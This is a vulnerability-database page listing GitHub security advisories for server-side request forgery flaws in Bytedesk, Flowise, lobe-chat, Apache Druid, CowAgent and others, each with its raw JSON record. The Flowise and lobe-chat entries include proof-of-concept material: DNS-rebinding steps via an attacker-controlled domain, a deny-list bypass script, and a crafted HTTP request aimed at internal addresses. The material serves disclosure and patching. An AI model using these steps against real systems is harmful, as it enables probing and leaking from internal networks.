Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-2X8H-3GX5-578J

Vulnerability from github – Published: 2026-03-09 00:30 – Updated: 2026-03-09 00:30
VLAI
Details

A security vulnerability has been detected in Bytedesk up to 1.3.9. This impacts the function getModels of the file source-code/src/main/java/com/bytedesk/ai/springai/providers/openrouter/SpringAIOpenrouterRestService.java of the component SpringAIOpenrouterRestController. Such manipulation of the argument apiUrl leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.4.5.4 will fix this issue. The name of the patch is 975e39e4dd527596987559f56c5f9f973f64eff7. It is recommended to upgrade the affected component.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-09T00:16:01Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in Bytedesk up to 1.3.9. This impacts the function getModels of the file source-code/src/main/java/com/bytedesk/ai/springai/providers/openrouter/SpringAIOpenrouterRestService.java of the component SpringAIOpenrouterRestController. Such manipulation of the argument apiUrl leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.4.5.4 will fix this issue. The name of the patch is 975e39e4dd527596987559f56c5f9f973f64eff7. It is recommended to upgrade the affected component.",
  "id": "GHSA-2x8h-3gx5-578j",
  "modified": "2026-03-09T00:30:13Z",
  "published": "2026-03-09T00:30:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/issues/20"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/issues/20#issue-3993526693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/issues/20#issuecomment-3976672715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/commit/975e39e4dd527596987559f56c5f9f973f64eff7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/releases/tag/v1.4.5.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.349755"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.349755"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768043"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2X8M-83VC-6WV4

Vulnerability from github – Published: 2026-04-16 21:51 – Updated: 2026-04-24 21:01
VLAI
Summary
Flowise: SSRF Protection Bypass (TOCTOU & Default Insecure)
Details

Summary

The core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list.

Details

The flaws exist in packages/components/src/httpSecurity.ts.

Default Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost).

DNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., 127.0.0.1) for the second lookup.

PoC

Ensure HTTP_DENY_LIST is unset (default behavior).

Use any node utilizing secureFetch to access http://127.0.0.1.

Result: Request succeeds.

Scenario 2: DNS Rebinding

Attacker controls domain attacker.com and a custom DNS server.

Configure DNS to return 1.1.1.1 (Safe IP) with TTL=0 for the first query.

Configure DNS to return 127.0.0.1 (Blocked IP) for subsequent queries.

Flowise validates attacker.com -> 1.1.1.1 (Allowed).

Flowise fetches attacker.com -> 127.0.0.1 (Bypass).

Run the following for manual verification 

// PoC for httpSecurity.ts Bypasses
import * as dns from 'dns/promises';

// Mocking the checkDenyList logic from Flowise
async function checkDenyList(url: string) {
    const deniedIPs = ['127.0.0.1', '0.0.0.0']; // Simplified deny list logic

    if (!process.env.HTTP_DENY_LIST) {
        console.log(\"⚠️  HTTP_DENY_LIST not set. Returning allowed.\");
        return; // Vulnerability 1: Default Insecure
    }

    const { hostname } = new URL(url);
    const { address } = await dns.lookup(hostname);

    if (deniedIPs.includes(address)) {
        throw new Error(`IP ${address} is denied`);
    }
    console.log(`✅ IP ${address} allowed check.`);
}

async function runPoC() {
    console.log(\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\");
    // Ensure env var is unset
    delete process.env.HTTP_DENY_LIST;
    try {
        await checkDenyList('http://127.0.0.1');
        console.log(\"[PASS] Default config allowed localhost access.\");
    } catch (e) {
        console.log(\"[FAIL] Blocked:\", e.message);
    }

    console.log(\"\
--- Test 2: 'private' Keyword Bypass (Logic Flaw) ---\");
    process.env.HTTP_DENY_LIST = 'private'; // User expects this to block localhost
    try {
        await checkDenyList('http://127.0.0.1');
        // In real Flowise code, 'private' is not expanded to IPs, so it only blocks the string \"private\"
        console.log(\"[PASS] 'private' keyword failed to block localhost (Mock simulation).\");
    } catch (e) {
        console.log(\"[FAIL] Blocked:\", e.message);
    }
}

runPoC();

Impact

Confidentiality: High (Access to internal services if protection is bypassed).

Integrity: Low/Medium (If internal services allow state changes via GET).

Availability: Low.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:51:00Z",
    "nvd_published_at": "2026-04-23T20:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list.\n\n\n### Details\nThe flaws exist in `packages/components/src/httpSecurity.ts`.\n\nDefault Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost).\n\nDNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., `127.0.0.1`) for the second lookup.\n\n\n### PoC\nEnsure `HTTP_DENY_LIST` is unset (default behavior).\n\nUse any node utilizing secureFetch to access `http://127.0.0.1`.\n\nResult: Request succeeds.\n\n#### Scenario 2: DNS Rebinding\n\nAttacker controls domain attacker.com and a custom DNS server.\n\nConfigure DNS to return `1.1.1.1` (Safe IP) with TTL=0 for the first query.\n\nConfigure DNS to return `127.0.0.1` (Blocked IP) for subsequent queries.\n\nFlowise validates `attacker.com` -\u003e `1.1.1.1` (Allowed).\n\nFlowise fetches `attacker.com` -\u003e `127.0.0.1` (Bypass).\n\nRun the following for manual verification \n\n```ts\n// PoC for httpSecurity.ts Bypasses\nimport * as dns from \u0027dns/promises\u0027;\n\n// Mocking the checkDenyList logic from Flowise\nasync function checkDenyList(url: string) {\n    const deniedIPs = [\u0027127.0.0.1\u0027, \u00270.0.0.0\u0027]; // Simplified deny list logic\n\n    if (!process.env.HTTP_DENY_LIST) {\n        console.log(\\\"\u26a0\ufe0f  HTTP_DENY_LIST not set. Returning allowed.\\\");\n        return; // Vulnerability 1: Default Insecure\n    }\n\n    const { hostname } = new URL(url);\n    const { address } = await dns.lookup(hostname);\n\n    if (deniedIPs.includes(address)) {\n        throw new Error(`IP ${address} is denied`);\n    }\n    console.log(`\u2705 IP ${address} allowed check.`);\n}\n\nasync function runPoC() {\n    console.log(\\\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\\\");\n    // Ensure env var is unset\n    delete process.env.HTTP_DENY_LIST;\n    try {\n        await checkDenyList(\u0027http://127.0.0.1\u0027);\n        console.log(\\\"[PASS] Default config allowed localhost access.\\\");\n    } catch (e) {\n        console.log(\\\"[FAIL] Blocked:\\\", e.message);\n    }\n\n    console.log(\\\"\\\n--- Test 2: \u0027private\u0027 Keyword Bypass (Logic Flaw) ---\\\");\n    process.env.HTTP_DENY_LIST = \u0027private\u0027; // User expects this to block localhost\n    try {\n        await checkDenyList(\u0027http://127.0.0.1\u0027);\n        // In real Flowise code, \u0027private\u0027 is not expanded to IPs, so it only blocks the string \\\"private\\\"\n        console.log(\\\"[PASS] \u0027private\u0027 keyword failed to block localhost (Mock simulation).\\\");\n    } catch (e) {\n        console.log(\\\"[FAIL] Blocked:\\\", e.message);\n    }\n}\n\nrunPoC();\n```\n\n\n### Impact\nConfidentiality: High (Access to internal services if protection is bypassed).\n\nIntegrity: Low/Medium (If internal services allow state changes via GET).\n\nAvailability: Low.",
  "id": "GHSA-2x8m-83vc-6wv4",
  "modified": "2026-04-24T21:01:27Z",
  "published": "2026-04-16T21:51:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-2x8m-83vc-6wv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41272"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise: SSRF Protection Bypass (TOCTOU \u0026 Default Insecure)"
}

GHSA-2XCC-VM3F-M8RW

Vulnerability from github – Published: 2024-11-26 15:39 – Updated: 2024-11-26 21:43
VLAI
Summary
@lobehub/chat Server Side Request Forgery vulnerability
Details

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/
  • click settings -> llm -> openai
  • fill the OpenAI API Key you like
  • fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
  • then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

image

image

image

PoC

POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}

Impact

SSRF, All users will be impacted.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-26T15:39:38Z",
    "nvd_published_at": "2024-11-26T19:15:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nlobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/\n* click settings -\u003e llm -\u003e openai\n* fill the OpenAI API Key you like\n* fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path \"/chat/completions\" which can be bypassed with sharp like \"http://172.23.0.1:8000/#\")\n* then lobe will echo the ssrf result\n\nThe jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935)\n\n\n\n### PoC\n```http\nPOST /api/chat/openai HTTP/2\nHost: chat-preview.lobehub.com\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0\nContent-Length: 158\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nX-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4\nContent-Type: application/json\nX-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/llm\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\nConnection: close\n\n{\"model\":\"gpt-3.5-turbo\",\"stream\":true,\"frequency_penalty\":0,\"presence_penalty\":0,\"temperature\":0.6,\"top_p\":1,\"messages\":[{\"content\":\"hello\",\"role\":\"user\"}]}\n```\n\n### Impact\nSSRF, All users will be impacted.",
  "id": "GHSA-2xcc-vm3f-m8rw",
  "modified": "2024-11-26T21:43:24Z",
  "published": "2024-11-26T15:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32965"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@lobehub/chat Server Side Request Forgery vulnerability"
}

GHSA-2XCR-P767-F3RV

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-07-15 00:32
VLAI
Summary
Apache Druid vulnerable to Server-Side Request Forgery, Cross-site Scripting, Open Redirect
Details

Severity: medium (5.8) / important

Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.

This issue affects all previous Druid versions.

When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.

Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
5.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.druid:druid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "31.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.druid:druid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "32.0.0"
            },
            {
              "fixed": "32.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "32.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-79",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T22:46:39Z",
    "nvd_published_at": "2025-03-20T12:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Severity: medium (5.8) / important\n\nServer-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027),\u00a0URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in Apache Druid.\n\nThis issue affects all previous Druid versions.\n\nWhen using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid\u0027s out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.\n\nUsers are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.",
  "id": "GHSA-2xcr-p767-f3rv",
  "modified": "2025-07-15T00:32:25Z",
  "published": "2025-03-20T12:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/druid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/druid/releases/tag/druid-31.0.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/druid/releases/tag/druid-32.0.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/19/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Druid vulnerable to Server-Side Request Forgery, Cross-site Scripting, Open Redirect"
}

GHSA-2XH2-CX6V-W3CR

Vulnerability from github – Published: 2024-07-06 12:31 – Updated: 2024-07-06 12:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Robert Macchi WP Scraper.This issue affects WP Scraper: from n/a through 5.7.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-37208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-06T10:15:01Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Robert Macchi WP Scraper.This issue affects WP Scraper: from n/a through 5.7.",
  "id": "GHSA-2xh2-cx6v-w3cr",
  "modified": "2024-07-06T12:31:04Z",
  "published": "2024-07-06T12:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37208"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-scraper/wordpress-wp-scraper-plugin-5-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2XHR-8668-CRPG

Vulnerability from github – Published: 2025-02-06 06:31 – Updated: 2025-02-06 06:31
VLAI
Details

IBM Aspera Shares 1.9.0 through 1.10.0 PL6 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-56471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-05T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "IBM Aspera Shares\u00a01.9.0 through 1.10.0 PL6  is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-2xhr-8668-crpg",
  "modified": "2025-02-06T06:31:26Z",
  "published": "2025-02-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56471"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7182490"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2XHV-22CQ-XJ7W

Vulnerability from github – Published: 2026-01-16 06:30 – Updated: 2026-01-16 18:31
VLAI
Details

lucy-xss-filter before commit 7c1de6d allows an attacker to induce server-side HEAD requests to arbitrary URLs when the ObjectSecurityListener or EmbedSecurityListener option is enabled and embed or object tags are used with a src attribute missing a file extension.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-23768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T06:15:51Z",
    "severity": "MODERATE"
  },
  "details": "lucy-xss-filter before commit 7c1de6d allows an attacker to induce server-side HEAD requests to arbitrary URLs when the ObjectSecurityListener or EmbedSecurityListener option is enabled and embed or object tags are used with a src attribute missing a file extension.",
  "id": "GHSA-2xhv-22cq-xj7w",
  "modified": "2026-01-16T18:31:31Z",
  "published": "2026-01-16T06:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23768"
    },
    {
      "type": "WEB",
      "url": "https://github.com/naver/lucy-xss-filter/pull/31"
    },
    {
      "type": "WEB",
      "url": "https://cve.naver.com/detail/cve-2026-23768.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2XJ7-6VVG-P9HP

Vulnerability from github – Published: 2026-07-10 06:31 – Updated: 2026-07-10 06:31
VLAI
Details

A vulnerability was determined in zhayujie CowAgent up to 2.1.1. Impacted is the function _build_image_content/_download_to_data_url of the file agent/tools/vision/vision.py of the component Vision Tool. Executing a manipulation of the argument image can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.1.2 is recommended to address this issue. This patch is called e85290cddcbb5ffc9c235927f4c92e5b4c3ec264. Upgrading the affected component is advised.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-15330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T05:16:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in zhayujie CowAgent up to 2.1.1. Impacted is the function _build_image_content/_download_to_data_url of the file agent/tools/vision/vision.py of the component Vision Tool. Executing a manipulation of the argument image can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.1.2 is recommended to address this issue. This patch is called e85290cddcbb5ffc9c235927f4c92e5b4c3ec264. Upgrading the affected component is advised.",
  "id": "GHSA-2xj7-6vvg-p9hp",
  "modified": "2026-07-10T06:31:21Z",
  "published": "2026-07-10T06:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zhayujie/CowAgent/issues/2872"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zhayujie/CowAgent/pull/2886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zhayujie/CowAgent/commit/e85290cddcbb5ffc9c235927f4c92e5b4c3ec264"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zhayujie/CowAgent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zhayujie/CowAgent/releases/tag/2.1.2"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15330"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/853103"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/377273"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/377273/cti"
    }
  ],
  "schema_version": "1.4.0",
